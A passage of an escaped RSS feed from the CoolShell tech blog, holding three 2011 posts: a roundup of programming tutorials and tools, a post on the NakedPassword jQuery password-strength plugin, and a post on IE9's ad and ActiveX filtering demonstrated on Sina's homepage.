class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3806.html\">Google图片搜索下的的C String</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3806.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>一些有意思的贴子和工具</title>\n\t\t<link>https://coolshell.cn/articles/3903.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3903.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 04 Mar 2011 00:25:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[CSS3]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[Game]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[iPhone]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3903</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>又到了介绍各种杂项的时候了，正如以前的这三篇（这篇，这篇，和这篇）文章一样，本篇文章也给你介绍一些最近出现的一些有趣的东西。希望你能喜欢。 先说找工作吧，电影《...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3903.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>又到了介绍各种杂项的时候了，正如以前的这三篇（<a title=\"一些非常有意思的杂项资源\" href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">这篇</a>，<a title=\"一些杂项资源\" href=\"https://coolshell.cn/articles/3437.html\" target=\"_blank\">这篇</a>，和<a title=\"一些有意思的网站和贴子\" href=\"https://coolshell.cn/articles/3480.html\" target=\"_blank\">这篇</a>）文章一样，本篇文章也给你介绍一些最近出现的一些有趣的东西。希望你能喜欢。</p>\n<p>先说找工作吧，电影《<a title=\"社交网络（豆瓣）\" href=\"http://movie.douban.com/subject/3205624/\" target=\"_blank\">该页无法显示</a>》里的那个<a href=\"http://www.facebook.com\" target=\"_blank\">facebook</a>主页上的<strong><a title=\"FaceBook的招聘题\" href=\"http://www.facebook.com/careers/puzzles.php\" target=\"_blank\">招聘网页</a></strong>上是列了一堆问题，你可以去看看，你可以使用c/c++，Erlang，Haskell，Java，Perl，Python，PHP，Ruby来解题，不过只接受Unix/Linux下的版本， 不接受Windows的版本。无独有偶，<a href=\"http://www.dropbox.com/\" target=\"_blank\">DropBox</a>的<strong><a title=\"DropBox的招聘题 \" href=\"http://www.dropbox.com/jobs/challenges\" target=\"_blank\">招聘网页</a></strong>上也是些算法题，大家可以过去看看，不过需要翻墙。（现在，对于美国互联网企业来说，如果你没有被<a title=\"中国的C2C模式\" href=\"https://coolshell.cn/articles/3820.html\" target=\"_blank\">C2C</a>，说明你根本不存在，如果你没有被墙，说明你还不算成功）</p>\n<p>接下来给大家介绍一些文档和教程吧，都是英文的。</p>\n<ul>\n<li><strong><a href=\"http://www.harding.edu/fmccown/java_csharp_comparison.html\" target=\"_blank\">Java和C#的完整比较</a></strong>。这是一个相当完整的比较Java和C#语言的网页。很有意思，有助于你了解Java和C#的各种特性和不同。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://use-the-index-luke.com/\" target=\"_blank\">SQL 性能调优</a></strong>。这个文档覆盖了<em>IBM DB2</em>, <em>MySQL</em>, <em>Oracle</em>,<em>PostgreSQL</em> 和 <em>Microsoft SQL Server</em>。不过这个电子书还没有写完，你可以使用其<a href=\"http://use-the-index-luke.com/blog/feed\" target=\"_blank\">RSS</a>, <a href=\"http://twitter.com/MarkusWinand\">twitter</a> 或 <a title=\"Like on Facebook\" href=\"http://www.facebook.com/plugins/like.php?href=http://www.facebook.com/pages/Use-The-Index-Luke/157726730906717?ref%3Dts&amp;layout=standard&amp;show_faces=true&amp;width=250&amp;action=like&amp;colorscheme=light&amp;height=80\">Facebook</a> 来跟踪其进度。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.cleveralgorithms.com/\" target=\"_blank\">Clever Algorithms</a></strong>。这个电子书也是免费的。其主要面向一些AI和面向自然的算法，一共45个。其包括概率随机算法，迭代进化算法，物理算法，可能性算法，蚂蚁蜜蜂式算法，免疫算法，神经算法等。里面大量的高等数学公式对我来说我已经看不懂了。不过，我相信这个电子书非常适合搞理论研究的人，或是需要抄袭一篇论文以顺利毕业的人使用。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://blog.gingertech.net/wp-content/uploads/2011/01/LCA_MM_AVProc2011/#slide1\" target=\"_blank\">HTML5 Audio &amp; Video 处理</a></strong>。这是一组在线的幻灯片，请使用键盘光标键翻页。这是一组带着各种演示的幻灯片，对于你要学习HTML5的声音和视频相关的知识很有帮助。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.mikeash.com/pyblog/friday-qa-2010-12-31-c-macro-tips-and-tricks.html\" target=\"_blank\">C 语言的宏</a></strong>。你想知道C语的宏有哪些有些意思的用法吗？这篇文档不会让你失望的。其由浅入深地向你介绍了宏的各种用法。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://stringoftheseus.com/blog/2011/01/10/api-sorting-algorithms/\" target=\"_blank\">各种语言的排序算法</a></strong>。你想知道各种语言其默认的排序算法用的是<a title=\"一个排序算法比较的网站\" href=\"https://coolshell.cn/articles/399.html\" target=\"_blank\">哪种排序算法</a>吗？看看这篇文章吧。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://fixplz.blourp.com/blog/=phys\" target=\"_blank\">物理模拟F#教程</a></strong>。相信你一定玩过那种游戏，画一个任意形状的石头，其会从天上落下以砸下面的一个东西，这个教程用.NET的F#向大家说明了这种东西怎么去做。（<a href=\"http://fixplz.blourp.com/blog/img/fsphys.rar\" target=\"_blank\">演示程序</a>）</li>\n</ul>\n<p><span id=\"more-3903\"></span></p>\n<ul>\n<li><strong><a href=\"http://www.helixsoft.nl/articles/circle/sincos.htm\" target=\"_blank\">Sin &amp; Cos游戏教程</a></strong>。这篇文章向你介绍了一些游戏编程的技术。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://damienradtke.org/unofficial-introduction-to-gnome-application-dev/\" target=\"_blank\">GNOME开发介绍</a></strong>。这是一个非官方的介绍GNOME应用开发的教程，简单清楚，很适合初学者。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.korokithakis.net/tutorials/python\" target=\"_blank\">10分钟学会Python</a></strong>。是的，也许你和我一样，很恨这样几天就学好一门语言的书，比如：<a title=\"“21天教你学会C++”\" href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\">21天学好C++</a>。这个更夸张，10分钟。TNND。不过，当我看了一下后，我觉得其很适合初学者对Python有一个感性的认识。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://nicolasgallagher.com/css-drop-shadows-without-images/\" target=\"_blank\">CSS阴影教程</a></strong>。这是一篇教你种CSS做出种式样式的阴影效果的教程，这里是<a href=\"http://nicolasgallagher.com/css-drop-shadows-without-images/demo/\" target=\"_blank\">演示</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://gergo.erdi.hu/blog/2011-02-13-developing_iphone_applications_in_haskell___a_tutorial/\" target=\"_blank\">用Haskell开发iPhone应用</a></strong>。这是一个教程序，告诉你如何用Haskell开发iOS的应用程序。</li>\n</ul>\n<p>下面，再让我给你介绍一些和Web开发相关的开源的库。</p>\n<ul>\n<li><strong><a href=\"http://www.photon-project.com/\" target=\"_blank\">Photon</a></strong>。这是一个号称高性能的轻量级的PHP应用服务器框架。号称比Zend，Symfony和mod_php快3-10倍。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://web.chemdoodle.com/\" target=\"_blank\">ChemDoodle</a></strong>。这是一个用来画一些化学分子式的基于HTML5的类库和API，支持2D/3D，很强大。兼容于所有产商的支持HTML5的浏览器。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.limejs.com/\" target=\"_blank\">LimeJS</a></strong>。这个JS库可以让你方便得制作一些触摸屏的小游戏。<a href=\"http://www.limejs.com/static/roundball/index.html\" target=\"_blank\">演示一</a>，<a href=\"http://www.limejs.com/static/zlizer/index.html\" target=\"_blank\">演示二</a>。（<a title=\"JS游戏引擎列表\" href=\"https://coolshell.cn/articles/3516.html\" target=\"_blank\">一些游戏相关的JS</a>）</li>\n</ul>\n<ul>\n<li><strong><a href=\"https://github.com/ruidlopes/spellcheckthejs\" target=\"_blank\">拼写检查</a></strong>。这是一个英文拼写检查的JS。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.clips.ua.ac.be/pages/pattern\" target=\"_blank\">Pattern</a></strong>。这是东东很强大，用于做Web挖掘，其有一组工具用来从Google, Twitter, Wikipedia，Web爬虫，HTML上获得数据，并进行文本分析和数据图形化显示。你可以上这里看看<a href=\"http://www.clips.ua.ac.be/demos\" target=\"_blank\">相关演示</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.appcelerator.com/products/titanium-mobile-application-development/\">Titanium Mobile</a></strong>。你想让你的代码同时支持iPhone和Android吗？这是一个跨平台的开发工具。这里有<a href=\"http://agiliq.com/blog/2011/02/iphoneandroid-application-development-using-titani/\" target=\"_blank\">一个教程</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://css3buttons.michaelhenriksen.dk/\" target=\"_blank\">CSS3的按钮</a></strong>。这里可以去下载一个CSS3的库，里面有N多的按钮风格，感觉都很酷。</li>\n</ul>\n<p>接下来，介绍一些小工具。</p>\n<ul>\n<li><strong><a href=\"http://caniuse.com/\" target=\"_blank\">Web兼容性表</a></strong>。你想看看各种浏览器对HTML5，CSS3，SVG的支持吗？这个网站可以让你看到所有的主流浏览器的兼容表。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.qgrep.com/\" target=\"_blank\">qgrep</a></strong>。嫌grep不够快吗？试试qgrep吧，支持OSX,  Linux 和 Windows。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.cam.hi-ho.ne.jp/oishi/indexen.html\" target=\"_blank\">XKeymacs</a></strong>。你有Emacs情结吗？如果有的话，试试这个工具吧，在windows里到处c-x c-c, c-x c-s, c-p, c-n什么什么的。挺有意思的。好吧，不是有意思，是BT。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.sublimetext.com/blog/articles/sublime-text-2-public-alpha\" target=\"_blank\">Sublime Text 2</a></strong>。虽然目前只是Alpha版本，但是这个看上去真的很不错。尤其是用来查看代码。支持Windows, Linux和OSX。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://code.google.com/p/vs-android/\" target=\"_blank\">VS-Android</a></strong>。这个项目让你可以在Visual Studio 2010的IDE下开发Android NDK C/C++的程序。</li>\n</ul>\n<p>其它东西。</p>\n<ul>\n<li><strong><a href=\"http://rigaux.org/language-study/scripting-language/\" target=\"_blank\">脚本语言排名</a></strong>。这个网页不但对所有的脚本语言进行了排名，还对一些操作进行了比较。</li>\n</ul>\n<ul>\n<li>HTML5的3D演示，这里有几个HTML5的3D演示，你可以看看，<a title=\"sketch/\" href=\"http://hakim.se/experiments/html5/sketch/#1966de71\" target=\"_blank\">演示一</a>，<a title=\"蛋白质分子式\" href=\"http://jolecule.appspot.com/pdb/1mbo#view:4mfct8\" target=\"_blank\">演示二</a>，<a title=\"立方体\" href=\"http://dl.dropbox.com/u/59304/labs/cubeStable.html\" target=\"_blank\">演示三</a>，<a title=\"坦克游戏\" href=\"http://dl.dropbox.com/u/59304/labs/tankGame.html\" target=\"_blank\">演示四</a>。</li>\n</ul>\n<ul>\n<li>说到Web上的3D，你可能需要看看Adobe的<a title=\"Molehill APIs\" href=\"http://labs.adobe.com/technologies/flashplatformruntimes/incubator/features/molehill.html\" target=\"_blank\">Molehill (3D GPU accelerated) APIs</a>，这里有一篇<a href=\"http://www.bytearray.org/?p=2810\" target=\"_blank\">介绍文章</a>。</li>\n</ul>\n<ul>\n<li>还记得那个<a title=\"流体力学的演示\" href=\"https://coolshell.cn/articles/3421.html\" target=\"_blank\">流体力学的演示</a>吗？现在有人把其做到了<a href=\"http://www.infi.nl/blog/view/id/98/Liquid_on_iPhone_and_iPad\" target=\"_blank\">iPhone/iPad上</a>。</li>\n</ul>\n<p>就这么多吧，也许没什么意思，那也请你见谅了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3903.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>24</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>另类UX让你输入强口令</title>\n\t\t<link>https://coolshell.cn/articles/3877.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3877.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 03 Mar 2011 01:26:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<category><![CDATA[password]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<category><![CDATA[UX]]></category>\n\t\t<category><![CDATA[口令]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3877</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>昨天和大家说了一下关于口令破解的一些东西，那篇文章告诉我们需要设置一个比较强的不易破解的口令。 今天在网上看到一个强大的jQuery插件，叫NakedPassw...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3877.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p><script src=\"http://www.nakedpassword.com/javascripts/jquery.js\" type=\"text/javascript\"></script> <script src=\"http://www.nakedpassword.com/javascripts/naked_password.0.2.2.min.js\" type=\"text/javascript\"></script></p>\n<p><script type=\"text/javascript\">  \t$(document).ready(function() { \t     $(\"input:password\").nakedPassword({path: \"http://www.nakedpassword.com/np_images/\"}); \t\t});</script></p>\n<p>昨天和大家说了一下<a title=\"破解你的口令\" href=\"https://coolshell.cn/articles/3801.html\" target=\"_blank\">关于口令破解</a>的一些东西，那篇文章告诉我们需要设置一个比较强的不易破解的口令。</p>\n<p>今天在网上看到一个强大的jQuery插件，叫<a title=\"NakedPassword.com\" href=\"http://www.nakedpassword.com/\" target=\"_blank\">NakedPassword</a>，其通过“<strong>强大的用户体验</strong>”让你输入一个比较强且不易被破解的口令。虽然有点另类，但是我个人相当欣赏这个UX，因为UX实在是太到位了——<strong>只有你输入的口令比较强，图片中的女人才会脱光衣服</strong>。</p>\n<p>下面是演示：</p>\n<p style=\"text-align: center;\">请输入你的口令（输入时出现效果）</p>\n<p style=\"text-align: center;\">\n<input id=\"test\" style=\"font-size: 25px;\" type=\"password\" /></p>\n<p>这个例子和<a title=\"用户界面和用户体验的差别\" href=\"https://coolshell.cn/articles/3142.html\" target=\"_blank\">以前的那个例子</a>一样，告诉你UX设计是重要性。</p>\n<p>（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" alt=\"CSDN明文口令泄露的启示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_title\">CSDN明文口令泄露的启示</a></li><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords-150x150.png\" alt=\"破解你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_title\">破解你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Twitter的禁用口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_title\">Twitter的禁用口令</a></li><li ><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何管理并设计你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_title\">如何管理并设计你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3877.html\">另类UX让你输入强口令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3877.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>52</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>微软用新浪来当反面教材</title>\n\t\t<link>https://coolshell.cn/articles/3872.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3872.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 03 Mar 2011 00:30:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<category><![CDATA[Sina]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3872</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>微软的IE的Blog发布了这样一篇文章，以此来展示IE9是如何过滤广告和ActiveX控件的功能。其使用了“新浪”来做为反面案例，新浪并不是第一次成为反面案例了...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3872.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3872.html\">微软用新浪来当反面教材</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">微软的<a href=\"http://blogs.msdn.com/b/ie/\" target=\"_blank\">IE的Blog</a>发布了这样<a href=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png\" target=\"_blank\">一篇文章</a>，以此来展示IE9是如何过滤广告和ActiveX控件的功能。其使用了“新浪”来做为反面案例，新浪并不是第一次成为反面案例了，之前就有人用新浪等网站来表明<a title=\"为什么中国的网页设计那么烂？\" href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\">中国的网站的设计是怎么个烂法</a>。呵呵。伟大的新浪。</p>\n<p>下面是新浪的在IE9下没有开启过滤的样子，我们要吧看到满天飞的flash，广告，还有视频……</p>\n<div class=\"mceTemp mceIEcenter\" style=\"text-align: left;\">\n<dl class=\"wp-caption aligncenter\" style=\"width: 575px;\">\n<dt class=\"wp-caption-dt\"><a href=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png\"><img decoding=\"async\" loading=\"lazy\" class=\"  \" title=\"新浪网站没有使用IE9的过滤功能\" src=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png\" alt=\"新浪网站没有使用IE9的过滤功能\" width=\"565\" height=\"411\" /></a></dt>\n<dd class=\"wp-caption-dd\">新浪网站没有使用IE9的过滤功能</dd>\n</dl>\n</div>\n<p style=\"text-align: left;\">下面是开启了过滤功能后的新浪网页（个人感觉还是那么乱，没办法底子太差了）</p>\n<p style=\"text-align: left;\"><span id=\"more-3872\"></span></p>\n<figure style=\"width: 565px\" class=\"wp-caption aligncenter\"><a href=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"  \" title=\"IE9开启了ActiveX过滤功能后的新浪网页\" src=\"http://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image2.png\" alt=\"IE9开启了ActiveX过滤功能后的新浪网页\" width=\"565\" height=\"411\" /></a><figcaption class=\"wp-caption-text\">IE9开启了ActiveX过滤功能后的新浪网页</figcaption></figure>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/5247.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"国内微博和Twitter的最大不同\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5247.html\" class=\"wp_rp_title\">国内微博和Twitter的最大不同</a></li><li ><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01-150x150.png\" alt=\"新浪微博的XSS攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_title\">新浪微博的XSS攻击</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img 